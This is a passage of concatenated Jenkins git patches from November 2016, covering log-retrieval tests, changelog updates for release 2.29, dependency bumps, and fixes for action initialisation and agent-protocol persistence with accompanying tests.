f.getParentFile().mkdirs(); + PrintWriter w = new PrintWriter(f, "utf-8"); + for (int i = 0; i < 20; i++) { + w.println("dummy" + i); + } + + w.close(); + List logLines = r.getLog(10); + assertFalse(logLines.isEmpty()); + + for (int i = 1; i < 10; i++) { + assertEquals("dummy" + (10+i), logLines.get(i)); + } + assertEquals("[...truncated 68 B...]", logLines.get(0)); + } + + @Test + public void getLogReturnsAllLines() throws Exception { + Job j = Mockito.mock(Job.class); + File tempBuildDir = tmp.newFolder(); + Mockito.when(j.getBuildDir()).thenReturn(tempBuildDir); + Run, ? extends Run> r = new Run(j, 0) {}; + File f = r.getLogFile(); + f.getParentFile().mkdirs(); + PrintWriter w = new PrintWriter(f, "utf-8"); + w.print("a1\nb2\n\nc3"); + w.close(); + List logLines = r.getLog(10); + assertFalse(logLines.isEmpty()); + + assertEquals("a1", logLines.get(0)); + assertEquals("b2", logLines.get(1)); + assertEquals("", logLines.get(2)); + assertEquals("c3", logLines.get(3)); + } } -- GitLab From bf59cf6c6cb21fcb705811afbdc909e88cc73e78 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 6 Nov 2016 12:37:25 +0100 Subject: [PATCH 456/811] Changelog: Noting #2607, #2609, #2610, #2611 and #2608 --- changelog.html | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/changelog.html b/changelog.html index cab5e808c7..a11292f8ed 100644 --- a/changelog.html +++ b/changelog.html @@ -56,13 +56,28 @@ Upcoming changes

                      What's new in 2.28 (2016/10/30)

                      -- GitLab From 62a5dddb3c2b00c4602a504ffefd65320cf81915 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 6 Nov 2016 23:09:15 +0100 Subject: [PATCH 457/811] Update remoting to 2.62.2 This PR picks the latest available version of remoting stable-2.x. All the fixes have been integrated into remoting-3.0 and soaked enough. * [JENKINS-38539](https://issues.jenkins-ci.org/browse/JENKINS-38539) - Stability: Turn on SO_KEEPALIVE by default and provide CLI option to turn it off again. (https://github.com/jenkinsci/remoting/pull/110) * [JENKINS-37539](https://issues.jenkins-ci.org/browse/JENKINS-37539) - Prevent NullPointerException in Engine#connect() when host or port parameters are null or empty. (https://github.com/jenkinsci/remoting/pull/101) * [CID-152201] - Fix resource leak in remoting.jnlp.Main. (https://github.com/jenkinsci/remoting/pull/102) * [CID-152200,CID-152202] - Resource leak in Encryption Cipher I/O streams on exceptional paths. (https://github.com/jenkinsci/remoting/pull/104) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index b3a1b40b91..7c42bbddb3 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.62 + 2.62.2 -- GitLab From befc3d9393122bf7b3997f86b1a37b384c4a21a3 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 6 Nov 2016 18:43:11 -0800 Subject: [PATCH 458/811] [maven-release-plugin] prepare release jenkins-2.29 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index fb9435af2d..ddd786df54 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.29-SNAPSHOT + 2.29 cli diff --git a/core/pom.xml b/core/pom.xml index b866599115..1ece5d1dd6 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29-SNAPSHOT + 2.29 jenkins-core diff --git a/pom.xml b/pom.xml index 19450dfa53..8a9aa15dc1 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29-SNAPSHOT + 2.29 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.29 diff --git a/test/pom.xml b/test/pom.xml index fd2cde8e9e..224effdbf6 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29-SNAPSHOT + 2.29 test diff --git a/war/pom.xml b/war/pom.xml index 2c11c24bc0..e041bb64d8 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29-SNAPSHOT + 2.29 jenkins-war -- GitLab From 682be471a9ba341501911f86ef85750bd1d3b239 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 6 Nov 2016 18:43:11 -0800 Subject: [PATCH 459/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index ddd786df54..8ec6e0b1f7 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.29 + 2.30-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 1ece5d1dd6..e605ded2fc 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29 + 2.30-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 8a9aa15dc1..b61db5774f 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29 + 2.30-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.29 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 224effdbf6..dcfb346d65 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29 + 2.30-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index e041bb64d8..e61e33ad1e 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.29 + 2.30-SNAPSHOT jenkins-war -- GitLab From 96b5390ef4b3aa5fc6eb12bef44fc1753532966b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 6 Nov 2016 18:50:09 -0800 Subject: [PATCH 460/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index a11292f8ed..45913c3c84 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                      What's new in 2.29 (2016/11/06)

                      • Performance: Optimize log retrieval logic for large log files. @@ -79,7 +84,6 @@ Upcoming changes Internal: Jelly attribute documentation now supports the since tag. (Stapler pull #84)
                      -

                      What's new in 2.28 (2016/10/30)

                      • -- GitLab From e85e3e2b907f894b536332d80b997711f73c4174 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 25 Oct 2016 11:13:55 +0200 Subject: [PATCH 461/811] [JENKINS-26940] Print message when installer isn't applicable (#2598) * [JENKINS-26940] Print message when installer isn't applicable * [JENKINS-26940] Only print when none found, add test (cherry picked from commit ae29e6b2463754778c3988e62292a07a846ffe57) --- .../hudson/tools/InstallerTranslator.java | 12 ++++++ .../hudson/tools/Messages.properties | 1 + .../hudson/tools/InstallerTranslatorTest.java | 39 +++++++++++++++++++ 3 files changed, 52 insertions(+) diff --git a/core/src/main/java/hudson/tools/InstallerTranslator.java b/core/src/main/java/hudson/tools/InstallerTranslator.java index 87d1dcd1e3..fd45212bd7 100644 --- a/core/src/main/java/hudson/tools/InstallerTranslator.java +++ b/core/src/main/java/hudson/tools/InstallerTranslator.java @@ -28,6 +28,7 @@ import hudson.Extension; import hudson.model.Node; import hudson.model.TaskListener; import java.io.IOException; +import java.util.ArrayList; import java.util.Map; import java.util.WeakHashMap; import java.util.concurrent.Semaphore; @@ -50,6 +51,9 @@ public class InstallerTranslator extends ToolLocationTranslator { if (isp == null) { return null; } + + ArrayList inapplicableInstallersMessages = new ArrayList(); + for (ToolInstaller installer : isp.installers) { if (installer.appliesTo(node)) { Semaphore semaphore; @@ -69,8 +73,16 @@ public class InstallerTranslator extends ToolLocationTranslator { } finally { semaphore.release(); } + } else { + inapplicableInstallersMessages.add(Messages.CannotBeInstalled( + installer.getDescriptor().getDisplayName(), + tool.getName(), + node.getDisplayName())); } } + for (String message : inapplicableInstallersMessages) { + log.getLogger().println(message); + } return null; } diff --git a/core/src/main/resources/hudson/tools/Messages.properties b/core/src/main/resources/hudson/tools/Messages.properties index dabfa4c840..a59e064de7 100644 --- a/core/src/main/resources/hudson/tools/Messages.properties +++ b/core/src/main/resources/hudson/tools/Messages.properties @@ -37,3 +37,4 @@ JDKInstaller.DescriptorImpl.displayName=Install from java.sun.com JDKInstaller.DescriptorImpl.doCheckId=Define JDK ID JDKInstaller.DescriptorImpl.doCheckAcceptLicense=You must agree to the license to download the JDK. ToolDescriptor.NotADirectory={0} is not a directory on the Jenkins master (but perhaps it exists on some agents) +CannotBeInstalled=Installer "{0}" cannot be used to install "{1}" on the node "{2}" diff --git a/test/src/test/java/hudson/tools/InstallerTranslatorTest.java b/test/src/test/java/hudson/tools/InstallerTranslatorTest.java index 3d9e2a58fe..d38f780972 100644 --- a/test/src/test/java/hudson/tools/InstallerTranslatorTest.java +++ b/test/src/test/java/hudson/tools/InstallerTranslatorTest.java @@ -35,6 +35,8 @@ import hudson.slaves.RetentionStrategy; import hudson.tasks.Shell; import hudson.util.StreamTaskListener; import java.nio.charset.Charset; +import java.util.ArrayList; +import java.util.Arrays; import java.util.Collections; import org.junit.Test; import static org.junit.Assert.*; @@ -98,4 +100,41 @@ public class InstallerTranslatorTest { r.assertLogContains("/opt/jdk1", b6); } + @Issue("JENKINS-26940") + @Test + public void testMessageLoggedWhenNoInstallerFound() throws Exception { + final CommandInstaller ci = new CommandInstaller("wrong1", "echo hello", "/opt/jdk"); + final BatchCommandInstaller bci = new BatchCommandInstaller("wrong2", "echo hello", "/opt/jdk2"); + InstallSourceProperty isp = new InstallSourceProperty(Arrays.asList(ci, bci)); + + JDK jdk = new JDK("jdk", null, Collections.singletonList(isp)); + r.jenkins.getJDKs().add(jdk); + + + FreeStyleProject p = r.createFreeStyleProject(); + p.setJDK(jdk); + p.getBuildersList().add(new Shell("echo $JAVA_HOME")); + FreeStyleBuild b1 = r.buildAndAssertSuccess(p); + r.assertLogContains(hudson.tools.Messages.CannotBeInstalled(ci.getDescriptor().getDisplayName(), jdk.getName(), r.jenkins.getDisplayName()), b1); + r.assertLogContains(hudson.tools.Messages.CannotBeInstalled(bci.getDescriptor().getDisplayName(), jdk.getName(), r.jenkins.getDisplayName()), b1); + } + + @Issue("JENKINS-26940") + @Test + public void testNoMessageLoggedWhenAnyInstallerFound() throws Exception { + final CommandInstaller ci = new CommandInstaller("wrong1", "echo hello", "/opt/jdk"); + final CommandInstaller ci2 = new CommandInstaller("master", "echo hello", "/opt/jdk2"); + InstallSourceProperty isp = new InstallSourceProperty(Arrays.asList(ci, ci2)); + + JDK jdk = new JDK("jdk", null, Collections.singletonList(isp)); + r.jenkins.getJDKs().add(jdk); + + + FreeStyleProject p = r.createFreeStyleProject(); + p.setJDK(jdk); + p.getBuildersList().add(new Shell("echo $JAVA_HOME")); + FreeStyleBuild b1 = r.buildAndAssertSuccess(p); + r.assertLogNotContains(ci.getDescriptor().getDisplayName(), b1); + } + } -- GitLab From b0aca1c474083cbdadc0b65a24e06cfec96506b3 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 7 Nov 2016 12:01:41 +0100 Subject: [PATCH 462/811] Changelog: Indicate that JENKINS-39414 is not completely fixed in 2.29 --- changelog.html | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/changelog.html b/changelog.html index 45913c3c84..60f28c224f 100644 --- a/changelog.html +++ b/changelog.html @@ -64,10 +64,10 @@ Upcoming changes
                      • Performance: Optimize log retrieval logic for large log files. (issue 39535) -
                      • +
                      • Integration of Stapler 1.246 caused regressions in plugins depending on Ruby Runtime Plugin. - Upgraded to Stapler 1.247 with a fix. - (issue 39414) + Upgraded to Stapler 1.247 with a partial fix. + (issue 39414, partial fix)
                      • Jenkins startup does not fail if one of -- GitLab From 07884f7cc1a19d317a2726cdf953b29268398afa Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 7 Nov 2016 22:14:13 +0100 Subject: [PATCH 463/811] Changelog: Add the 2.29 release notice (#2623) * Changelog: Add the 2.29 release notice * Fix the link --- changelog.html | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 60f28c224f..b00b2a727d 100644 --- a/changelog.html +++ b/changelog.html @@ -60,7 +60,13 @@ Upcoming changes

                      What's new in 2.29 (2016/11/06)

                      -
                        +

                        + Warning! This release is not recommended for use due to + issue 39555 + and issue 39414. + We are working on the out-of-order release (discussion). +

                        +
                        • Performance: Optimize log retrieval logic for large log files. (issue 39535) -- GitLab From a63b50f4dfbbb6a042765be8f26d7f76810a1cd4 Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Mon, 7 Nov 2016 18:06:53 -0500 Subject: [PATCH 464/811] [FIXED JENKINS-39555] Don't do the actions initialization by helper method (#2624) * Coarse fix for JENKINS-39555 - don't do the actions initialization by helper method * Small cleanup of docs, import * Testcase * Review changes --- .../main/java/hudson/model/Actionable.java | 33 +++-------- .../java/hudson/model/ActionableTest.java | 55 +++++++++++++++++++ 2 files changed, 64 insertions(+), 24 deletions(-) diff --git a/core/src/main/java/hudson/model/Actionable.java b/core/src/main/java/hudson/model/Actionable.java index 33e10198c6..654c6719a4 100644 --- a/core/src/main/java/hudson/model/Actionable.java +++ b/core/src/main/java/hudson/model/Actionable.java @@ -36,7 +36,6 @@ import java.util.logging.Logger; import javax.annotation.Nonnull; import javax.annotation.Nullable; -import javax.annotation.concurrent.NotThreadSafe; import jenkins.model.ModelObjectWithContextMenu; import jenkins.model.TransientActionFactory; import org.kohsuke.stapler.StaplerRequest; @@ -77,24 +76,12 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj */ @Deprecated public List getActions() { - return getOrCreateActions(); - } - - /** - * We need to handle the initialization of the actions list in Actionable so that child classes that override - * getActions() for historical reasons do not have to override the manipulation methods: {@link #addAction(Action)}, - * {@link #replaceAction(Action)}, {@link #removeAction(Action)}, etc. - * @return the CopyOnWriteArrayList of persisted actions. - */ - private CopyOnWriteArrayList getOrCreateActions() { - if(actions == null) { - synchronized (this) { - if(actions == null) { - actions = new CopyOnWriteArrayList(); - } + synchronized (this) { + if(actions == null) { + actions = new CopyOnWriteArrayList(); } + return actions; } - return actions; } /** @@ -137,8 +124,6 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj * Adds a new action. * Note: calls to {@link #getAllActions()} that happen before calls to this method may not see the update. * Note: this method will always modify the actions - * - * The default implementation is mostly equivalent to the call chain {@code getActions().add(a)}. */ @SuppressWarnings({"ConstantConditions","deprecation"}) @SuppressFBWarnings("RCN_REDUNDANT_NULLCHECK_OF_NONNULL_VALUE") @@ -146,7 +131,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj if(a==null) { throw new IllegalArgumentException("Action must be non-null"); } - getOrCreateActions().add(a); + getActions().add(a); } /** @@ -191,7 +176,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj } // CopyOnWriteArrayList does not support Iterator.remove, so need to do it this way: List old = new ArrayList(1); - List current = getOrCreateActions(); + List current = getActions(); boolean found = false; for (Action a2 : current) { if (!found && a.equals(a2)) { @@ -226,7 +211,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj return false; } // CopyOnWriteArrayList does not support Iterator.remove, so need to do it this way: - return getOrCreateActions().removeAll(Collections.singleton(a)); + return getActions().removeAll(Collections.singleton(a)); } /** @@ -250,7 +235,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj } // CopyOnWriteArrayList does not support Iterator.remove, so need to do it this way: List old = new ArrayList(); - List current = getOrCreateActions(); + List current = getActions(); for (Action a : current) { if (clazz.isInstance(a)) { old.add(a); @@ -285,7 +270,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj } // CopyOnWriteArrayList does not support Iterator.remove, so need to do it this way: List old = new ArrayList(); - List current = getOrCreateActions(); + List current = getActions(); boolean found = false; for (Action a1 : current) { if (!found) { diff --git a/core/src/test/java/hudson/model/ActionableTest.java b/core/src/test/java/hudson/model/ActionableTest.java index 654b08e67e..550a885396 100644 --- a/core/src/test/java/hudson/model/ActionableTest.java +++ b/core/src/test/java/hudson/model/ActionableTest.java @@ -24,13 +24,18 @@ package hudson.model; +import java.util.ArrayList; import java.util.Arrays; import static org.hamcrest.CoreMatchers.is; import static org.junit.Assert.*; import java.util.Collections; +import java.util.List; + +import org.junit.Assert; import org.junit.Test; +import org.jvnet.hudson.test.Issue; public class ActionableTest { @@ -48,6 +53,56 @@ public class ActionableTest { assertEquals(Arrays.asList(a2, a3), thing.getActions()); } + static class ActionableOverride extends Actionable { + ArrayList specialActions = new ArrayList(); + + @Override + public String getDisplayName() { + return "nope"; + } + + @Override + public String getSearchUrl() { + return "morenope"; + } + + @Override + public List getActions() { + return specialActions; + } + } + + @SuppressWarnings("deprecation") + @Issue("JENKINS-39555") + @Test + public void testExtensionOverrides() throws Exception { + ActionableOverride myOverridden = new ActionableOverride(); + InvisibleAction invis = new InvisibleAction() { + }; + myOverridden.addAction(invis); + Assert.assertArrayEquals(new Object[]{invis}, myOverridden.specialActions.toArray()); + Assert.assertArrayEquals(new Object[]{invis}, myOverridden.getActions().toArray()); + + myOverridden.getActions().remove(invis); + Assert.assertArrayEquals(new Object[]{}, myOverridden.specialActions.toArray()); + Assert.assertArrayEquals(new Object[]{}, myOverridden.getActions().toArray()); + + myOverridden.addAction(invis); + myOverridden.removeAction(invis); + Assert.assertArrayEquals(new Object[]{}, myOverridden.specialActions.toArray()); + Assert.assertArrayEquals(new Object[]{}, myOverridden.getActions().toArray()); + + InvisibleAction invis2 = new InvisibleAction() {}; + myOverridden.addOrReplaceAction(invis2); + Assert.assertArrayEquals(new Object[]{invis2}, myOverridden.specialActions.toArray()); + Assert.assertArrayEquals(new Object[]{invis2}, myOverridden.getActions().toArray()); + + myOverridden.addOrReplaceAction(invis); + myOverridden.addOrReplaceAction(invis); + Assert.assertArrayEquals(new Object[]{invis2, invis}, myOverridden.specialActions.toArray()); + Assert.assertArrayEquals(new Object[]{invis2, invis}, myOverridden.getActions().toArray()); + } + @SuppressWarnings("deprecation") @Test public void addOrReplaceAction() { -- GitLab From 5aed788deef350ffd1c4c3b1ce87ed76f48b5a4c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 7 Nov 2016 18:07:21 -0500 Subject: [PATCH 465/811] [FIXED JENKINS-39414] Integrating Stapler 1.248. (#2622) --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index e605ded2fc..054f63258d 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -39,7 +39,7 @@ THE SOFTWARE. true - 1.247 + 1.248 2.5.6.SEC03 2.4.7 -- GitLab From 3e2e01717976a1f1221874bfd576429c5c48b8a6 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 8 Nov 2016 00:07:40 +0100 Subject: [PATCH 466/811] [JENKINS-39465] - Fix the AgentProtocol settings persistency handling (#2621) * [JENKINS-39465] - Tweak processing of enabled and disabled protocols in Jenkins instance Due to whatever reason, without a definition of an array recipient field the data goes to the disk in the following way: ``` JNLP3-connect JNLP4-connect ``` It is supposed to processed by Implicit array correctly, but it does not actually happen. With a fix the data is being stored in another format: ``` JNLP3-connect JNLP4-connect ``` This data now works correctly and gets deserialized correctly. readResolve() just adds a fallback for the case when Implicit array handling starts behaving correctly (?). * [JENKINS-39465] - Add configuration roundtrip tests * [JENKINS-39465] - Jenkins#agentProtocols cache must be invalidated when we reload the configuration * [JENKINS-39465] - Remove obsolete comment from Tests --- core/src/main/java/jenkins/model/Jenkins.java | 24 +++- .../test/java/jenkins/model/JenkinsTest.java | 121 ++++++++++++++++++ 2 files changed, 143 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 427a782adf..266a3f9504 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -617,6 +617,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @CheckForNull private List disabledAgentProtocols; + /** + * @deprecated Just a temporary buffer for XSTream migration code from JENKINS-39465, do not use + */ + @Deprecated + private transient String[] _disabledAgentProtocols; /** * The TCP agent protocols that are {@link AgentProtocol#isOptIn()} and explicitly enabled. @@ -626,6 +631,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @CheckForNull private List enabledAgentProtocols; + /** + * @deprecated Just a temporary buffer for XSTream migration code from JENKINS-39465, do not use + */ + @Deprecated + private transient String[] _enabledAgentProtocols; /** * The TCP agent protocols that are enabled. Built from {@link #disabledAgentProtocols} and @@ -1010,6 +1020,16 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve if (SLAVE_AGENT_PORT_ENFORCE) { slaveAgentPort = getSlaveAgentPortInitialValue(slaveAgentPort); } + if (disabledAgentProtocols == null && _disabledAgentProtocols != null) { + disabledAgentProtocols = Arrays.asList(_disabledAgentProtocols); + _disabledAgentProtocols = null; + } + if (enabledAgentProtocols == null && _enabledAgentProtocols != null) { + enabledAgentProtocols = Arrays.asList(_enabledAgentProtocols); + _enabledAgentProtocols = null; + } + // Invalidate the protocols cache after the reload + agentProtocols = null; return this; } @@ -5027,8 +5047,8 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve // for backward compatibility with <1.75, recognize the tag name "view" as well. XSTREAM.alias("view", ListView.class); XSTREAM.alias("listView", ListView.class); - XSTREAM.addImplicitCollection(Jenkins.class, "disabledAgentProtocols", "disabledAgentProtocol", String.class); - XSTREAM.addImplicitCollection(Jenkins.class, "enabledAgentProtocols", "enabledAgentProtocol", String.class); + XSTREAM.addImplicitArray(Jenkins.class, "_disabledAgentProtocols", "disabledAgentProtocol"); + XSTREAM.addImplicitArray(Jenkins.class, "_enabledAgentProtocols", "enabledAgentProtocol"); XSTREAM2.addCriticalField(Jenkins.class, "securityRealm"); XSTREAM2.addCriticalField(Jenkins.class, "authorizationStrategy"); // this seems to be necessary to force registration of converter early enough diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 27528d2e04..8e88f7f0e3 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -25,7 +25,10 @@ package jenkins.model; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.greaterThan; import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.hasItem; +import static org.hamcrest.Matchers.not; import static org.junit.Assert.assertTrue; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertEquals; @@ -75,6 +78,12 @@ import org.mockito.Mockito; import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashSet; +import java.util.Iterator; +import java.util.Set; +import org.junit.Assume; /** * @author kingfai @@ -471,4 +480,116 @@ public class JenkinsTest { throw new IOException("Something happened (the listener always throws this exception)"); } } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_singleEnable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("We assume that JNLP3-connect is disabled", + defaultProtocols, not(hasItem("JNLP3-connect"))); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.add("JNLP3-connect"); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + assertThat("JNLP3-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP3-connect")); + + j.jenkins.reload(); + + final Set reloadedProtocols = j.jenkins.getAgentProtocols(); + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == reloadedProtocols); + assertThat("We should have additional enabled protocol", + reloadedProtocols.size(), equalTo(defaultProtocols.size() + 1)); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP3-connect")); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_multipleDisable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("At least one protocol is enabled", defaultProtocols.size(), greaterThan(0)); + + final String protocolToDisable = defaultProtocols.iterator().next(); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.remove(protocolToDisable); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + assertThat(protocolToDisable + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable))); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + j.jenkins.reload(); + + assertFalse("The protocol list must have been really refreshed", agentProtocolsBeforeReload == j.jenkins.getAgentProtocols()); + assertThat("We should have disabled one protocol", + j.jenkins.getAgentProtocols().size(), equalTo(defaultProtocols.size() - 1)); + assertThat(protocolToDisable + " must be disabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable))); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_multipleEnable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("We assume that JNLP3-connect is disabled", + defaultProtocols, not(hasItem("JNLP3-connect"))); + Assume.assumeThat("We assume that JNLP4-connect is disabled", + defaultProtocols, not(hasItem("JNLP4-connect"))); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.add("JNLP3-connect"); + newProtocols.add("JNLP4-connect"); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + assertThat("JNLP3-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP3-connect")); + assertThat("JNLP4-connect must be enabled before the roundtrip", + j.jenkins.getAgentProtocols(), hasItem("JNLP4-connect")); + + j.jenkins.reload(); + + final Set reloadedProtocols = j.jenkins.getAgentProtocols(); + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == reloadedProtocols); + assertThat("We should have two additional enabled protocols", + reloadedProtocols.size(), equalTo(defaultProtocols.size() + 2)); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP3-connect")); + assertThat("JNLP3-connect must be enabled after the roundtrip", + reloadedProtocols, hasItem("JNLP4-connect")); + } + + @Test + @Issue("JENKINS-39465") + public void agentProtocols_singleDisable_roundtrip() throws Exception { + final Set defaultProtocols = Collections.unmodifiableSet(j.jenkins.getAgentProtocols()); + Assume.assumeThat("At least two protocol should be enabled", defaultProtocols.size(), greaterThan(1)); + + Iterator iterator = defaultProtocols.iterator(); + final String protocolToDisable1 = iterator.next(); + final String protocolToDisable2 = iterator.next(); + + final Set newProtocols = new HashSet<>(defaultProtocols); + newProtocols.remove(protocolToDisable1); + newProtocols.remove(protocolToDisable2); + j.jenkins.setAgentProtocols(newProtocols); + j.jenkins.save(); + assertThat(protocolToDisable1 + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable1))); + assertThat(protocolToDisable2 + " must be disabled before the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable2))); + final Set agentProtocolsBeforeReload = j.jenkins.getAgentProtocols(); + j.jenkins.reload(); + + assertFalse("The protocol list must have been really reloaded", agentProtocolsBeforeReload == j.jenkins.getAgentProtocols()); + assertThat("We should have disabled two protocols", + j.jenkins.getAgentProtocols().size(), equalTo(defaultProtocols.size() - 2)); + assertThat(protocolToDisable1 + " must be disaabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable1))); + assertThat(protocolToDisable2 + " must be disaabled after the roundtrip", + j.jenkins.getAgentProtocols(), not(hasItem(protocolToDisable2))); + } } -- GitLab From dc6280b946a788ec5df29dd8b9a4a4e72e75ebb0 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 8 Nov 2016 00:28:02 +0100 Subject: [PATCH 467/811] Changelog: Noting #2624, #2622, #2621 --- changelog.html | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index b00b2a727d..9dde0a4b86 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,18 @@ Upcoming changes

                          What's new in 2.29 (2016/11/06)

